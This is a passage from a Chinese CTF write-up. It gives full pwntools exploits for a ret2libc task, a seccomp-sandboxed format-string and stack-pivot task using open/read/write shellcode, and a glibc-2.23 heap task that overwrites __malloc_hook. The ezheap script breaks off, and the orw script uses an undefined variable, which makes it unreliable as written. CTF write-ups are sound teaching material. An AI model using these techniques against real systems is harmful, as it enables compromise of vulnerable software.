</span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Thanks. Next customer!</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_addr</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;puts leak: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts_addr</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">puts_addr</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;puts&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">pop_rdi</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)),</span>
</span></span><span class="line"><span class="cl">    <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;system&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">send_payload</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><h3 id="orw_rop">
<a class="header-anchor" href="#orw_rop"></a>
orw_rop
</h3><p><strong>沙箱题，知识禁用了execve，所以使用orw即可</strong></p>
<h4 id="思路-2">
<a class="header-anchor" href="#%e6%80%9d%e8%b7%af-2"></a>
思路
</h4><p>程序是 64 位 ELF，保护如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Arch:       amd64-64-little
</span></span><span class="line"><span class="cl">RELRO:      Partial RELRO
</span></span><span class="line"><span class="cl">Stack:      Canary found
</span></span><span class="line"><span class="cl">NX:         NX enabled
</span></span><span class="line"><span class="cl">PIE:        No PIE
</span></span><span class="line"><span class="cl">Stripped:   No
</span></span></code></pre></div><p>关键函数没有去符号：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">main       0x4012e4
</span></span><span class="line"><span class="cl">sandbox    0x40129b
</span></span><span class="line"><span class="cl">read@plt   0x401134
</span></span><span class="line"><span class="cl">printf@plt 0x401124
</span></span><span class="line"><span class="cl">mmap@plt   0x401114
</span></span></code></pre></div><p>程序逻辑</p>
<p><code>sandbox</code> 使用 libseccomp：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">seccomp_init(SCMP_ACT_ALLOW)
</span></span><span class="line"><span class="cl">seccomp_rule_add(ctx, 0, 59, 0)
</span></span><span class="line"><span class="cl">seccomp_load(ctx)
</span></span></code></pre></div><p>也就是默认允许 syscall，只禁止 <code>execve</code>，所以不能直接 <code>system(&quot;/bin/sh&quot;)</code> 或 shellcode <code>execve(&quot;/bin/sh&quot;)</code>，但 <code>open/read/write</code> 仍然可用。</p>
<p><code>main</code> 中还固定 mmap 了一段 RWX 内存：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">mmap</span><span class="p">(</span><span class="mh">0x66660000</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span></code></pre></div><p><code>prot = 7</code> 表示可读、可写、可执行，因此可以把 shellcode 写到 <code>0x66660000</code> 附近执行。</p>
<p>漏洞点</p>
<p><code>main</code> 中有两处输入：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-asm" data-lang="asm"><span class="line"><span class="cl"><span class="c1">; 第一次读 0x20 字节到 rbp-0x30
</span></span></span><span class="line"><span class="cl"><span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="no">rbp</span> <span class="p">-</span> <span class="mi">0x30</span><span class="p">,</span> <span class="mi">0x20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">printf</span><span class="p">(</span><span class="no">rbp</span> <span class="p">-</span> <span class="mi">0x30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">; 第二次读 0x100 字节到同一个 rbp-0x30
</span></span></span><span class="line"><span class="cl"><span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="no">rbp</span> <span class="p">-</span> <span class="mi">0x30</span><span class="p">,</span> <span class="mi">0x100</span><span class="p">)</span>
</span></span></code></pre></div><p>第一次输入直接作为 <code>printf</code> 的格式串使用，存在格式化字符串漏洞，可以泄露 canary。</p>
<p>第二次输入向 <code>rbp-0x30</code> 写入 <code>0x100</code> 字节，而栈缓冲区只有 <code>0x30</code> 左右，存在栈溢出。偏移为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">buf -&gt; canary:    0x28
</span></span><span class="line"><span class="cl">buf -&gt; saved rbp: 0x30
</span></span><span class="line"><span class="cl">buf -&gt; saved rip: 0x38
</span></span></code></pre></div><p>利用思路</p>
<p>整体打法是“格式化字符串泄露 canary + 栈迁移 + ret2shellcode”。</p>
<ol>
<li>发送 <code>%11$p</code>，从格式化字符串输出中泄露 canary。</li>
<li>第二次读触发栈溢出，填回 canary 绕过检查。</li>
<li>覆盖 saved rbp 为 <code>0x66660100</code>，把栈迁移到固定 RWX mmap 区。</li>
<li>覆盖 saved rip 为 <code>0x401373</code>，重新进入 <code>main</code> 中第二次 <code>puts + read</code> 的位置。</li>
<li>此时程序会执行：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-asm" data-lang="asm"><span class="line"><span class="cl"><span class="nf">lea</span> <span class="no">rax</span><span class="p">,</span> <span class="p">[</span><span class="no">rbp</span> <span class="p">-</span> <span class="mi">0x30</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nf">mov</span> <span class="no">edx</span><span class="p">,</span> <span class="mi">0x100</span>
</span></span><span class="line"><span class="cl"><span class="nf">mov</span> <span class="no">rsi</span><span class="p">,</span> <span class="no">rax</span>
</span></span><span class="line"><span class="cl"><span class="nf">mov</span> <span class="no">edi</span><span class="p">,</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="nf">call</span> <span class="no">read</span>
</span></span></code></pre></div><p>由于 <code>rbp = 0x66660100</code>，这次 read 会把 payload 写到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x66660100 - 0x30 = 0x666600d0
</span></span></code></pre></div><ol start="6">
<li>第二阶段 payload 继续填回 canary，并让函数 epilogue <code>leave; ret</code> 跳到 RWX 段里的 shellcode。</li>
<li>shellcode 使用 ORW：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">open(&#34;./flag&#34;)
</span></span><span class="line"><span class="cl">read(fd, rsp, 0x100)
</span></span><span class="line"><span class="cl">write(1, rsp, 0x100)
</span></span></code></pre></div><p>栈迁移布局</p>
<p>第二阶段读入地址为 <code>0x666600d0</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x666600d0: padding, 0x28 bytes
</span></span><span class="line"><span class="cl">0x666600f8: canary
</span></span><span class="line"><span class="cl">0x66660100: fake saved rbp = 0x66660100
</span></span><span class="line"><span class="cl">0x66660108: fake saved rip = 0x66660110
</span></span><span class="line"><span class="cl">0x66660110: ORW shellcode
</span></span></code></pre></div><p>函数返回时执行 <code>leave; ret</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">rsp = rbp = 0x66660100
</span></span><span class="line"><span class="cl">pop rbp
</span></span><span class="line"><span class="cl">ret -&gt; 0x66660110
</span></span></code></pre></div><p>于是直接进入 shellcode。</p>
<h4 id="exp-2">
<a class="header-anchor" href="#exp-2"></a>
EXP
</h4><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">&#39;amd64&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;pwn&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./pwn&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">sl</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sa</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sd</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">inter</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fmt</span> <span class="o">=</span><span class="sa">b</span><span class="s1">&#39;%11$p&#39;</span>	<span class="c1">#格式化字符串漏洞找出canary，通常为随机高位+尾字节00</span>
</span></span><span class="line"><span class="cl"><span class="n">sd</span><span class="p">(</span><span class="n">fmt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;sandbox</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">18</span><span class="p">),</span> <span class="mi">16</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;canary = </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">canary</span><span class="p">))</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;now</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rbp_addr</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x66660000</span> <span class="o">+</span> <span class="mh">0x100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">rsp_rip_addr</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x66660000</span> <span class="o">+</span> <span class="mh">0x100</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">read_addr</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401373</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">padding</span> <span class="o">=</span> <span class="mi">40</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">canary</span> <span class="o">+</span> <span class="n">rbp_addr</span> <span class="o">+</span> <span class="n">read_addr</span>
</span></span><span class="line"><span class="cl"><span class="n">sd</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">shellcode</span> <span class="o">+=</span> <span class="n">shellcraft</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">&#39;./flag&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">shellcode</span> <span class="o">+=</span> <span class="n">shellcraft</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="s1">&#39;rax&#39;</span><span class="p">,</span> <span class="s1">&#39;rsp&#39;</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">shellcode</span> <span class="o">+=</span> <span class="n">shellcraft</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s1">&#39;rsp&#39;</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">canary</span> <span class="o">+</span> <span class="n">rbp_addr</span> <span class="o">+</span> <span class="n">rsp_s_rip_addr</span> <span class="o">+</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;now</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sd</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">all_output</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvall</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="n">all_output</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s1">&#39;ignore&#39;</span><span class="p">))</span>
</span></span></code></pre></div><h3 id="ezheap">
<a class="header-anchor" href="#ezheap"></a>
ezheap
</h3><h4 id="思路-3">
<a class="header-anchor" href="#%e6%80%9d%e8%b7%af-3"></a>
思路
</h4><p>程序是一个菜单堆题：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">1. Create
</span></span><span class="line"><span class="cl">2. Edit
</span></span><span class="line"><span class="cl">3. Show
</span></span><span class="line"><span class="cl">4. Delete
</span></span><span class="line"><span class="cl">5. Exit
</span></span></code></pre></div><p>保护情况：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Arch:       amd64-64-little
</span></span><span class="line"><span class="cl">RELRO:      Full RELRO
</span></span><span class="line"><span class="cl">Stack:      Canary found
</span></span><span class="line"><span class="cl">NX:         NX enabled
</span></span><span class="line"><span class="cl">PIE:        PIE enabled
</span></span><span class="line"><span class="cl">Stripped:   No
</span></span></code></pre></div><p>主要函数符号没有去掉，关键地址如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Create       0x1328
</span></span><span class="line"><span class="cl">Edit         0x1446
</span></span><span class="line"><span class="cl">Show         0x154d
</span></span><span class="line"><span class="cl">Free         0x1624
</span></span><span class="line"><span class="cl">heaptable    0x4040
</span></span></code></pre></div><p><strong>漏洞分析</strong></p>
<p><code>Create</code> 会让用户输入 size，最大限制到 <code>0x800</code>，然后 <code>malloc(size)</code>，但是程序没有保存每个 chunk 的真实大小。</p>
<p><code>Edit</code> 只检查 index 是否在 <code>0..9</code>，然后再次让用户输入 <code>Size</code>，直接调用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">heaptable</span><span class="p">[</span><span class="n">index</span><span class="p">],</span> <span class="n">size</span><span class="p">);</span>
</span></span></code></pre></div><p>这里的 <code>size</code> 完全由用户控制，没有和创建时的 chunk 大小做比较，所以存在堆溢出。</p>
<p><code>Show</code> 使用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Content:%s&#34;</span><span class="p">,</span> <span class="n">heaptable</span><span class="p">[</span><span class="n">index</span><span class="p">]);</span>
</span></span></code></pre></div><p>因此如果把当前 chunk 后面的 <code>\x00</code> 覆盖掉，就可以让 <code>%s</code> 继续向后打印，泄漏相邻 freed chunk 中的 fd/bk 指针。</p>
<p><code>Free</code> 会在释放后把指针清零：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">free</span><span class="p">(</span><span class="n">heaptable</span><span class="p">[</span><span class="n">index</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="n">heaptable</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span></code></pre></div><p>所以不能直接 UAF，但可以通过相邻 chunk 的溢出来读写 freed chunk 的元数据。</p>
<p><strong>利用思路</strong></p>
<p>原题利用环境按 glibc-2.23 处理，打法是：</p>
<ol>
<li>构造相邻堆块：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">chunk0: malloc(0x10)
</span></span><span class="line"><span class="cl">chunk1: malloc(0x80)
</span></span><span class="line"><span class="cl">chunk2: malloc(0x10)
</span></span><span class="line"><span class="cl">chunk3: malloc(0x60)
</span></span><span class="line"><span class="cl">chunk4: malloc(0x10)
</span></span></code></pre></div><ol start="2">
<li>释放 <code>chunk1</code>，它进入 unsorted bin。</li>
<li>从 <code>chunk0</code> 溢出 <code>0x20</code> 字节，覆盖到 <code>chunk1</code> 的 header，使 <code>Show(0)</code> 能继续打印到 <code>chunk1</code> 的 unsorted-bin 指针。</li>
<li>泄漏 <code>main_arena</code>，计算 libc base 和 <code>__malloc_hook</code>。</li>
<li>恢复 <code>chunk1</code> 的 size，避免后续堆检查异常。</li>
<li>释放 <code>chunk3</code>，从 <code>chunk2</code> 溢出覆盖 <code>chunk3-&gt;fd = __malloc_hook - 0x23</code>。</li>
<li>连续申请两个 <code>0x60</code> 大小的 chunk，第二次申请拿到 <code>__malloc_hook</code> 附近的伪 chunk。</li>
<li>覆写 <code>__malloc_hook = one_gadget</code>，同时填上 <code>realloc</code> 来调整栈环境。</li>
<li>再次 <code>malloc</code> 触发 <code>__malloc_hook</code>，getshell。</li>
</ol>
<p><strong>关键偏移</strong></p>
<p>glibc-2.23 下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">main_arena</span>   <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mi">88</span>
</span></span><span class="line"><span class="cl"><span class="n">malloc_hook</span>  <span class="o">=</span> <span class="n">main_arena</span> <span class="o">-</span> <span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span>    <span class="o">=</span> <span class="n">malloc_hook</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;__malloc_hook&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">one_gadget</span>   <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x4527a</span>
</span></span></code></pre></div><p>伪 chunk 选择 <code>__malloc_hook - 0x23</code>，是经典 fastbin attack 写法。申请到的位置实际在 <code>__malloc_hook - 0x13</code> 附近，payload 前面填充后即可覆盖 hook：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">one_gadget</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">realloc</span><span class="p">)</span>
</span></span></code></pre></div><h4 id="exp-3">
<a class="header-anchor" href="#exp-3"></a>
EXP
</h4><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">data</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">text</span><span class="p">,</span><span class="n">data</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">data</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">text</span><span class="p">,</span><span class="n">data</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">num</span><span class="o">=</span><span class="mi">4096</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">text</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">uu32</span><span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">u32</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xf7</span><span class="s2">&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">uu64</span><span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x7f</span><span class="s2">&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">6</span><span class="p">:]</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">lg</span><span class="o">=</span> <span class="k">lambda</span> <span class="n">name</span><span class="p">,</span><span class="n">data</span><span class="p">:</span><span class="n">p</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="n">name</span> <span class="o">+</span> <span class="s2">&#34;-&gt; 0x</span><span class="si">%x</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level =&#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">test</span> <span class="o">=</span><span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">test</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#libc = ELF(&#39;./libc-2.23.so&#39;)</span>
</span></span><span class="line"><span class="cl">    <span class="n">LIBC</span> <span class="o">=</span> <span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">LD</span><span class="o">=</span><span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="n">LD</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;--library-path&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;./pwn&#39;</span>
</span></span><span class="line"><span class="cl">         <span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="n">LIBC</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;10.1.40.168&#39;</span><span class="p">,</span><span class="s1">&#39;32853&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">LIBC</span> <span class="o">=</span> <span class="s1">&#39;/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6&#39;</span>
